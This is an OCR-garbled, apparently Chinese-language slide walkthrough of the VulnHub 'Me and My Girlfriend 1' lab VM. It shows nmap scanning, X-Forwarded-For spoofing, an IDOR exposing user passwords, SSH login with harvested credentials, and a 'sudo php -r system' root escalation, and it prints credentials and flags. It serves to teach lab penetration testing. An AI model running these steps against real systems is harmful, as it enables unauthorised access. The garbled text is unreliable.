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« 804LME AND MY GIRLFRIEND: 1
- ¥B4am, https://www.vulnhub.com/entry/me-

and-my-girlfriend-1,409/

- VMWareEZH R &R NEtbiL,
https://download.vulnhub.com/meandmygqirlfrien
d/Me-and-My-Girlfriend-1.ova

- (ENEB2 Mlag, FENIBIBIRMERKLX2/Mlag.

Back to the Top

Description
Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice
worked at a private company, "Ceban Corp", something has changed from Alice's attitude towards Bob like something is "hidden”, And Bob asks for

your help to get what Alice is hiding and get full access to the company!

Difficulty Level: Beginner

Notes: there are 2 flag files |

Learning: Web Application | Simple Privilege Escalation



https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
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» Nmap (Network mapper) 2HBIEMITHIMBZIEITE, SFR
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P HEEHIP
- -sniln, LAping AU, RIRNA AR
- -0Gi%In, L,L—ﬁllaz;tzd‘ﬁﬁﬁ’%&‘tﬂ%’;u, EIJ!.:._
AL BRI T RICRIIBER, (BER1ZSIEXKE
FERIEFAIUE, NRABRF S, aJLAGE
] "-0G -" BUAT.
S(root@kali)-[-]

nmap -sn 192.168.80.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-22 21:54 EST _
Nmap scan report for 192.168.80.1 (:ﬁgtb{E?Liééllés 80.0/24 -0G -
JEmSE s TR i G0 g e eamel # Nion .92 scan Initiated Tiie Feh 22 71:54:03 2022 as: Tl -si -06 - 19%.T68.80.0724
MAC Address: 00:50:56:C0:00:08 (VMware) B 1. il : Hi R

Host: 192.168.80.1 () Status: U
Nmap scan report for 192.168.80.2 Host: 192.168.80.2 () Status UE

oot 1 N 49000205 TIEEACE). Host: 192.168.80.129 () Status: Up
MAC Address: 00:50:56:F0:9F:8E (VMware) Host: 192.168.80.254 () Status: Up
Nmap scan report for 192.168.80.129 Host: 192.168.80.150 () Status: Up
Host is up (0.00022s latency). # Nmap done at Tue Feb 22 21:54:26 2022 -- 256 IP addresses (5 hosts up) scanned in 3.11 seconds

MAC Address: 00:0C:29:EA:B4:84 (VMware)

Nmap scan report for 192.168.80.254

Host is up (0.00015s latency).

MAC Address: 00:50:56:F2:0B:1B (VMware)

Nmap scan report for 192.168.80.150

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 1.94 seconds
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* UImHXIR 7 RRSS, HEfEmORBRISR S IRNEETIRE 7 PR Z3ARSS rT ().

wh B IREFENRKR AR
22 SSH ERSIRE. SSHIGI 1%
135 RPC (Remote Procedure Call) RPCifsiR

139  Samba-3S{4FIFTENH= IPCSHE= =R
161  SNMP FEROAE, 5509F
389 LDAP FIERGRIE), 55555
443  HTTPS SSLAMEEIM

2049 NFS FIEBLAIE)

3389 WindowsiTigiEiE IR S HAT
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% H B i
-SVIRIN, AEPRII S 1A [RJ B A0 223 1050 2 ) AR 55 PA A RRCAAE B

(root@ kali)-[~]
[;; nmap -sV 192.168.80.129
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-22 21:56 EST
Nmap scan report for 192.168.80.129
Host is up (0.00010s latency).
Not shown: 998 closed tcp ports (reset)
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1pl1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:0C:29:EA:B4:84 (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.51 seconds
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(rootéd kall)-|~]

nmap -sS -pl-65535 192.168.80.129
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-22 22:11 EST
Nmap scan report for 192.168.80.129
Host is up (0.00063s latency).
Not shown: 65533 closed tcp ports (reset)
PORT  STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:EA:B4:84 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds
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(EEHTTPigKLAAgI Pttt
» Firefoxfdif

RRER

IP X-Forwarded-For Header
This extension allows you quickly to set the X-Forwarded-For HTTP

Header
% % % %1 Philip Lawrence

2 11,256 NP

IP Address:
127.0.0.1

Recently used IPs:

Send the following headers:
X-Forwarded-For

[ X-Originating-IP
[} X-Remote-IP
[J X-Remote-Addr
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i_dg'l«f]_ =G
UL AR ARBIERZ, BN ERH TSR S EREH TR P FIRT,
Mﬁ'ﬁ«@;ﬁi/\ IR LAY HE 1113 P A TIE M B E FHERLE.

B AR AR E B AP EIE .

& c O 8 192.168.80.129/index.php?page=profile&user id=1

5] BAHEE.. m BUUCTF ) EFIHE - MEZ.. W &M@ - Bugku CTF £ BUAHR 4 ctfshow @ CTFHub |3 FE#USIHFIRCE.. ) &

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Name |EWEE!"1 Tandingan |

Username I eweuhtandingan |

Password eseseses |

Change
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Name |Eweuh Tandingan ‘

Username | eweuhtandingan |

Password | resseee

Change

O O== Otla Ot NRs (IamEs O e B w B

Q #%= HTML

<IDOCTYPE html>
<html lang="en">»

b <head> (==l ¢
w <body>

head:>

B <div class="center"»[-=</div>
» <{form action="#" method="POST":>

<label
A
<input
<bre
<label
A
<input
<bre
<label
A

for="name":>Name</label:

id="name" type="text" name="name" value="Eweuh Tandingan"»

for="username" Username</label>

id="username” type="text" name="username"” value="eweuhtandingan">

for="password">Passuword</label>

<input
<hrs

id="password" type="password" name="password" value="skuyatu
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- BIBAOLIHERZINAEPER

- eweuhtandingan skuyatuh

- aingmaung gwerty!!!

- sundatea indONEsia

- sedihaingmah cedihhihihi
- alice 4lic3

- abdikasepak dorrrrr
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- B—MHEPEARRINAEFER 7 HEHERERS
- EARSRENRI A F{E R ERSSH

—(root@ kali) - [~]

—% 8sh 192.168.80.129 <1 alice

alice@l92.168.80.129"'s password:

Last login: Wed Feb 23 12:04:21 2022 from 192.168.80.150
alice@gfriEND:~$ 1s

alice@gfriEND:~$ pwd

/home/alice
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« SSH (Secure Shell, &2£Shell) E—NWEBERIMY, £
I T IREERLINUXRS,
- BUAGERTCP22im
- A REA LB AEmaESEH TINE
. SSHERICZRSIUL T RLcHERANtenet T2 R TH
» SSHEMXEFC/STEL
- OpenSSHEMNRB&/AI iZHISSHARSS imik {4
- Xshell, Putty. SecureCRTZRAFWindowsy

i)

HISSHZ=

FimiRA
- ssh. scpZEEATFLinuxEENEFiREt .
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o sshapSIETV N HIZRI
- ssh [FHPR@]SSHIRSS#5IPiBLE [a5<P]
ssh root@192.168.80.10

- ssh -] student 192.168.80.10
- ssh -p 2200 root@192.168.80.10

ssh root@192.168.80.10 "hostname"
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alice@gfriEND:~$ 1s -a
.bash_history .bash_logout .bashrc .cache .my secret .profile
a11ce@gfr1END ~$ cd .my_secret/
alice@gfriEND:~/.my_secret$ 1s
flagl.txt my_notes.txt
alice@gfriEND:~/.my_secret$ cat flagl.txt
Greattttt my brother! You saw the Alice's note! Now you save the record information to give to bob! I know if it's given t
0 him then Bob will be hurt but this is better than Bob cheated!

Now your last job is get access to the root and read the flag ~_©

Flag 1 : gfriEND{2f5f21b2af1lb8c3e227bcf35544f8f09}
alice@gfriEND:~/.my_secret$

alice@gfriEND:~/.my_secret$ cat my_notes.txt
Woahhh! I 1like this company, I hope that here i get a better partner than bob ©~ ©. hopefully Bob doesn't know my notes
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SudoiEtl

» +24&sudo
- LinuxZRZFHRI—FBPEDECHS, BTLARITFEER R LAroot B
RS ERITFELEERE.
- HfTsudo -lapS A LIEESRIAFERE WO HES 1 sudoti R,

alice@gfriEND:~$ sudo -1
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php
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e sudofEft

HEHIENNAFZ 8 Tsudodss, MBEFERAsudotb REeiT

7~

HIRTOIRIAR <

T

- B{FHsudomp$EAWMEBELIEIR RIS E
- EERZNEENAH "/etc/sudoers”

Esudoers X HPRHEXRBECEFEIN

i EWNRINR=SIEFIIE

4

B BRI FEMR S 1L s FEHFPATHRE
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* sudofFfA

zhangsan ALL=ALL #HEWzhangsanf TR EIR(E
zhangsan ALL=/usr/sbin/useradd,/usr/sbin/userdel,/usr/bin/passwd #15

fzhangsan=fgifTuseradd. userdel, passwd#p<

zhangsan
ALL=NOPASSWD:/usr/sbin/useradd,/usr/sbin/userdel,/usr/bin/passwd  ##%
WNzhangsana]L A= RS 1Tuseradd, userdel, passwdap<s

%wheel ALL=(ALL)  ALL #EIANIRE, 1ElRwheel B RIFErootiR
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* sudofFfA

zhangsan ALL=ALL #HEWzhangsanf TR EIR(E
zhangsan ALL=/usr/sbin/useradd,/usr/sbin/userdel,/usr/bin/passwd #15

fzhangsan=fgifTuseradd. userdel, passwd#p<

zhangsan
ALL=NOPASSWD:/usr/sbin/useradd,/usr/sbin/userdel,/usr/bin/passwd  ##%
WNzhangsana]L A= RS 1Tuseradd, userdel, passwdap<s

%wheel ALL=(ALL)  ALL #EIANIRE, 1ElRwheel B RIFErootiR




php#E
 /usr/bin/phpEPHPRIRZER {4, Eidphpi<rILABEEHNITPHP{R,

[root@Web ~]# php -r "phpinfo();" | more

PHP Warning: phpinfo(): It is not safe to rely

zone setting or the date default timezone set()

this warning, you most likely misspelled the tinm
ate.timezone to select your timezone. in Command
phpinfo()

PHP Version => 5.4.16




phpiZt

* /usr/bin/php@PHPRIFERFI{4, BIZphpisSalLAEEAITPHPAE.

» 1talicelAsudoRYm T Tsystem(BREN, FBITIZREERI TR FHY
/bin/bashf&fz.

« XN anSHISERRH AU root BFPRIS K AR T/bin/bash, A mgEtlkAroot
HEHITFF 7 — Shell, MTISCI 7124,

alice@yfriEND:~$ sudo php -r "system('/bin/bash');"
root@yfriEND:~# cd /root

» PHPFAILUBARZR S ap THIREEEZEFE:
- exec system popen passthru proc open shell exec .




phpiZt

o AL UXHE:

sudo php -r "system('ls /root');"

sudo php -r "system('cat /root/flag2.txt');"




RELSE—1{Mflag
ANELH LSRR :

alice@gfriEND:~$ sudo php -r "system('/bin/bash');"
root@gfriEND:~# cd /root

root@gfriEND:/root# 1s

flag2.txt

root@gfriEND:/root# cat flag2.txt

|| |
¥l [N \

| s ¥

& % /

Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just
here :) I really hope you guys give me feedback for this challenge whether you like it
e for me to be even better! I hope this can continue :)

Contact me if you want to contribute / give me feedback / share your writeup!
Twitter: @makegreatagain_
Instagram: @aldodimas73

Thanks! Flag 2: gfriEND{56fbeef560930e/7ff984b644Tdebbe/}
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- HUEEECENS
WS ERIR FERERE, MU SIRIEURE RS LR ETE RS

*D’z‘ﬁ%g{m:uw

alice@gtTrikND:/var/www/htmlL$ cat contig/contig.php
<?php

‘ceban_corp');

$conn = mysqli_connect('localhost', 'root', 'ctf _pasti_bisa’,

- MARBERNAFEREERMYSQL

alice@gfriEND:/var/www/html$ mysql -uroot -pctf pasti bisa
Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MariaDB connection id is 28
Server version: 5.5.64-MariaDB-lubuntu©.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.




